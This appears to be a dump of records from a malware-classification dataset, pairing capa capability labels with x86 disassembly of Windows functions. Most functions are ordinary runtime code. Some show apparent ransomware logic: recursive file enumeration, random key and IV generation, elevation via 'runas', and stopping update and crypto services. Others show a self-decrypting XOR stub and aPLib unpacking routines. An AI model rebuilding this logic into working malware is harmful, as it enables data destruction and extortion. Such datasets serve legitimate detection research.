joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005eaed
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1007b008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
cmp eax, 0x1a
jbe 0x1005eb30
call fcn.100427a8
mov dword [eax], 0xf
call fcn.100427bb
mov dword [eax], 0xd
call fcn.1004a793
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016215
leave
ret
test eax, eax
jne 0x1005eb37
inc eax
jmp 0x1005eb24
add eax, 0x40
push 0x3a
mov word [ebp - 0xc], ax
pop eax
mov word [ebp - 0xa], ax
push 0x5c
pop eax
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, eax
test ecx, ecx
je 0x1005eb22
xor eax, eax
cmp ecx, 1
setne al
jmp 0x1005eb24

Function at 0x8a8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.008a81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8a807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8a806a
add dl, dl
jne 0x8a8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8a80dc
xor eax, eax
add dl, dl
jne 0x8a8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8a817d
add dl, dl
jne 0x8a80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8a80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8a80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8a80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8a80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8a8075
mov eax, 1
add dl, dl
jne 0x8a80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8a80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8a80e1
sub eax, ebx
mov ebx, 1
jne 0x8a8128
mov ecx, 1
add dl, dl
jne 0x8a810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8a8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8a8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8a8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8a813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8a814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8a8136
cmp eax, 0x7d00
jae 0x8a816d
cmp eax, 0x500
jb 0x8a8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8a8075
cmp eax, 0x7f
ja 0x8a8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8a8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8a819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8a8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x92ffa0
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x92ffa6
pop ebp
sub ebp, 6
sub ebp, 0x52ffa0
jmp 0x930004
jmp 0x93000d
mov eax, 0x52ffa0
add eax, ebp
add eax, 0x93
mov ecx, 0x621
mov edx, 0x5acf933c
xor byte [eax], dl
inc eax
dec ecx
jne 0x930024
jmp 0x930037
push esi
jl 0x93008e
cmp al, 0x2c
cmp al, 0x3c
push esp
cmp al, 0xf0
adc byte [edi + ecx], bh
cld
insb byte es:[edi], dx
ret
cmp al, 0x3c
imul ebp, dword [eax + 0x61], 0x3c34b9b7
cmp al, 0x3c
mov bh, 0xa9
xor byte [esp + edi], bh
cmp al, 0xb7
mov cl, 0x2c
cmp al, 0x3c
cmp al, 0xfd
aad 0x3e
or eax, 0x38febf3e
jne 0x9300e2
mov ecx, 0xc3c3c3c8
popal
invalid
cmp al, 0x3c
cmp al, 0xb7
xor dword [esp + edi], 0xf50f3c3c
pmaxsw mm7, qword [edi + 0x337439d4]
mov eax, 0x3c3c3c72
cmp al, 0x3c
xor esi, dword [esp + esi*2 + 0x5a3c3c3c]
mov bh, 0x20
add eax, 0x33d4c7bc
mov eax, 0x3c3c3c26
mov esp, 0xb833d5c7
sub eax, 0x5a3c3c3c
mov ebp, 0x3319c3c7
mov eax, 0x3c3c3c29
jge 0x9300f7
invalid

Function at 0x8bb058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8bb1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x8bb07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8bb06a
add dl, dl
jne 0x8bb089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8bb0dc
xor eax, eax
add dl, dl
jne 0x8bb096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8bb17d
add dl, dl
jne 0x8bb0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8bb0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8bb0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8bb0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8bb0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x8bb075
mov eax, 1
add dl, dl
jne 0x8bb0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8bb0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8bb0e1
sub eax, ebx
mov ebx, 1
jne 0x8bb128
mov ecx, 1
add dl, dl
jne 0x8bb10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8bb119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8bb105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8bb075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x8bb13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x8bb14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8bb136
cmp eax, 0x7d00
jae 0x8bb16d
cmp eax, 0x500
jb 0x8bb168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8bb075
cmp eax, 0x7f
ja 0x8bb170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x8bb075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x8bb19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x8bb075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4014e0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401c80
add esp, 4
test eax, eax
je 0x401508
jmp 0x401708
mov ecx, dword [ebp + 8]
push ecx
push str._s
push 0x200
lea edx, [ebp - 0x404]
push edx
call fcn.004024b0
add esp, 0x10
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xffffffff
jne 0x40154d
jmp 0x401708
push 0x4251f0
lea edx, [ebp - 0x518]
push edx
call fcn.004070d0
add esp, 8
test eax, eax
je 0x4016de
push 0x4251f4
lea eax, [ebp - 0x518]
push eax
call fcn.004070d0
add esp, 8
test eax, eax
je 0x4016de
lea ecx, [ebp - 0x518]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s_s
push 0x200
lea eax, [ebp - 0x204]
push eax
call fcn.004024b0
add esp, 0x14
mov ecx, dword [ebp - 0x544]
and ecx, 0x10
je 0x4015dd
cmp dword [ebp + 0x14], 3
jge 0x4015d8
mov edx, dword [ebp + 0x14]
add edx, 1
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x204]
push edx
call fcn.004014e0
add esp, 0x10
jmp 0x4016de
push 0x2e
lea eax, [ebp - 0x518]
push eax
call fcn.00404e60
add esp, 8
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401b60
add esp, 4
test eax, eax
jne 0x401631
cmp dword [ebp - 0x550], 0
je 0x401625
push str..lnk
mov edx, dword [ebp - 0x550]
push edx
call fcn.0040726b
add esp, 8
test eax, eax
je 0x401631
mov eax, dword [ebp + 8]
push eax
call fcn.00401be0
add esp, 4
push 0x34
call fcn.0040735f
add esp, 4
mov dword [ebp - 0x548], eax
lea ecx, [ebp - 0x204]
push ecx
call fcn.0040715c
add esp, 4
mov edx, dword [ebp - 0x548]
mov dword [edx], eax
push 0x20
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x548]
add ecx, 4
push ecx
call fcn.004048e0
add esp, 0xc
push 0x10
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x548]
add eax, 0x24
push eax
call fcn.004048e0
add esp, 0xc
push 0x4268c0
mov ecx, dword [ebp - 0x548]
push ecx
push 0x401810
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWork]
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0
je 0x4016be
mov edx, dword [ebp - 0x554]
push edx
call dword [sym.imp.KERNEL32.dll_SubmitThreadpoolWork]
nop
jmp 0x4016de
mov eax, dword [ebp - 0x548]
mov ecx, dword [eax]
push ecx
call fcn.00407344
add esp, 4
mov edx, dword [ebp - 0x548]
push edx
call fcn.00407344
add esp, 4
lea eax, [ebp - 0x544]
push eax
mov ecx, dword [ebp - 0x54c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40154d
mov edx, dword [ebp - 0x54c]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret
Function at 0x401760
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4017c7
mov ecx, dword [ebp + 8]
push ecx
push 0x20
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov eax, dword [ebp + 0xc]
push eax
push 0x10
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x20
mov eax, dword [ebp + 8]
push eax
call fcn.00401720
add esp, 8
push 0x10
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401720
add esp, 8
jmp 0x4017dc
push str.Failed_to_acquire_cryptographic_context._n
call fcn.00402470
add esp, 4
push 1
call fcn.004076a5
nop
mov esp, ebp
pop ebp
ret

Function at 0x401940
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4019b1
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret

Function at 0x4019d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.00401940
test eax, eax
jne 0x401a7a
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401a7a
mov dword [ebp - 0x144], 0x3c
push 0x38
push 0
lea ecx, [ebp - 0x140]
push ecx
call fcn.00405210
add esp, 0xc
mov dword [ebp - 0x138], str.runas
lea edx, [ebp - 0x108]
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x130], 0x425064
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x128], 0
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401a72
push 1
call fcn.004076a5
nop
push 0
call fcn.004076a5
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret
Function at 0x401a90
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x401b47
mov dword [ebp - 0x10], str.wuauserv
mov dword [ebp - 0xc], str.bits
mov dword [ebp - 8], str.cryptsvc
mov dword [ebp - 0x30], 0
jmp 0x401ae3
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 3
jae 0x401b3c
push 0x24
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp + ecx*4 - 0x10]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x401b3a
lea ecx, [ebp - 0x2c]
push ecx
push 1
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x401b2f
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp + eax*4 - 0x10]
push ecx
push str.Service__s_stopped_successfully._n
call fcn.00402470
add esp, 8
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
jmp 0x401ada
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret
Function at 0x402210
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 2
jge 0x402257
call fcn.004019d0
push 0
push 0
push 0x425234
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
jmp 0x4022df
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x34]
push edx
call fcn.00401760
add esp, 8
call fcn.00401a90
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
push ecx
call fcn.004017e0
add esp, 8
call fcn.00401860
push str.__food
mov edx, 4
shl edx, 0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx]
push ecx
call fcn.004070d0
add esp, 8
test eax, eax
jne 0x4022b5
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x34]
push eax
call fcn.00401ec0
add esp, 0xc
jmp 0x4022d8
mov ecx, 4
shl ecx, 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + ecx]
push eax
push str.Invalid_parameter:__s_n
call fcn.00402470
add esp, 8
mov eax, 1
jmp 0x4022df
call fcn.00401910
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402544
mov esp, ebp
pop ebp
ret

Function at 0x4030f8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403137
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403137
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403137
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403137
cmp dword [ecx + 0x74], 0xe
jbe 0x403137
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40b3a7
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x425280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x41dfa8
push esi
call fcn.0041246b
pop ecx
pop ecx
test eax, eax
jne 0x40b3d5
xor al, al
jmp 0x40b452
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.0040b0e8
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x40b40f
push dword [ebp - 0x210]
call fcn.00407344
xor al, al
jmp 0x40b450
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40b415
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x40b435
push edx
call fcn.0040b2de
pop ecx
test al, al
je 0x40b400
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x40b443
mov bl, 1
push dword [ebp - 0x210]
call fcn.00407344
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402544
leave
ret

Function at 0x40e560
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee50
push 0x41ee48
push str.FlsAlloc
push 0x1f
call fcn.0040e41f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e594
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d1d4]
call esi
jmp 0x40e59a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x40e5de
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee60
push 0x41ee58
push str.FlsGetValue
push 0x21
call fcn.0040e41f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e615
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d1d4]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40e61d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ee68
push 0x41ee60
push str.FlsSetValue
push 0x22
call fcn.0040e41f
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40e657
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41d1d4]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]

Function at 0x40f46c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x426568]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40f4ac
cmp byte [ebx], 0xa
jne 0x40f4ac
or byte [edi + eax + 0x28], 4
jmp 0x40f4b1
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x40f5b0
mov dl, byte [eax]
cmp dl, 0x1a
je 0x40f593
inc eax
cmp dl, 0xd
je 0x40f4dd
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x40f503
cmp eax, ecx
jae 0x40f511
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x40f4c5
jmp 0x40f5b0
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40f58e
cmp dword [ebp - 0x10], 0
je 0x40f58e
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x426568]
test byte [eax + edi + 0x28], 0x48
je 0x40f568
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x40f553
mov byte [esi], dl
jmp 0x40f564
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x426568]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x40f5b0
cmp byte [ebp - 1], 0xa
jne 0x40f577
cmp esi, ebx
jne 0x40f577
mov byte [esi], 0xa
jmp 0x40f5af
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00416ac0
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x40f5b0
mov byte [esi], 0xd
jmp 0x40f5af
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x426568]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x40f5ad
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x40f5b0
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40f5b9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x426568]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40f5ff
cmp word [ebx], dx
jne 0x40f5ff
or byte [eax + edi + 0x28], 4
jmp 0x40f604
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40f767
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40f747
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40f645
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40f67b
cmp eax, edx
jae 0x40f689
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40f620
jmp 0x40f767
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40f742
cmp dword [ebp - 0x18], 0
je 0x40f742
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x426568]
test byte [eax + edi + 0x28], 0x48
je 0x40f718
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40f6dc
mov word [esi], cx
jmp 0x40f713
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x426568]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x426568]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x426568]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40f767
pop eax
cmp word [ebp - 4], ax
jne 0x40f728
cmp esi, ebx
jne 0x40f728
mov word [esi], ax
jmp 0x40f764
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00416ac0
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40f767
push 0xd
pop eax
jmp 0x40f723
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x426568]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40f761
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40f767
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x414077
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x414114
push ebx
push esi
call fcn.00414040
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040e114
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4140c1
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x414113
push edi
push eax
call fcn.0040df4a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4140e1
call fcn.0040df10
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x414112
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040e114
add esp, 0x20
test eax, eax
jne 0x414100
push edi
call fcn.0040df10
jmp 0x414108
push ebx
call fcn.0040df10
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x414117
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x414128
pop esi
ret
push ebx
push edi
push esi
call fcn.00414040
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040df4a
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x414150
push ebx
push esi
push edi
call fcn.004048e0
add esp, 0xc
push 0
call fcn.0040df10
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4148aa
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004143c5

Function at 0x418ab7
Capabilities:
Get disk information

Disassembly:
